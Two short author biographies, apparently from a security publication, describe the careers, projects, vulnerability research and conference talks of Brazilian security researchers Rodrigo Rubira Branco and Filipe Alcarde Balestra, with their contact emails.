Rodrigo Rubira Branco (BSDaemon) is a Security Expert at Check Point Software Technologies in Brazil. Prior to that, he worked as the Principal Security Researcher at Scanit (http://www.scanit.net), the biggest security company in the Middle East, incorporated by the giant Oger Systems. Also, worked as a software Engineer at IBM, member of the Advanced Linux Response Team (ALRT), part of the IBM Linux Technology Center (IBM/LTC) Brazil also worked in the IBM Toolchain (Debugging) Team for Power Architecture. He is the maintainer of the StMichael/StJude projects (www.sf.net/projects/stjude), the developer of the SCMorphism (www.kernelhacking.com/rodrigo) and has talks at the most important security-related conferences in the world. Rodrigo is also a member of the Rise Security (www.risesecurity.org). You can contact the author at rodrigo@kernelhacking.com

Filipe Alcarde Balestra
Filipe Alcarde Balestra is an Information Security Researcher at Firewalls Security Corporation in Brazil. He is also member of the Forensic Department of Firewalls Security Corporation. In the past, he worked as a Security Consultant and Forensic Consultant for leading companies in Brazil. Filipe discovered security vulnerabilities in different softwares like *BSD Kernels, Solaris, Microsoft, QNX, Web Applications and others. He is also an ex-member of the group Priv8Security (now dead) – many security studies (advisory/exploit) published – and a past speaker at Hackers to Hackers Conference 2006 about Syscall Proxing / Pivoting. You can contact the author at *filipe.balestra@firewalls.com.br*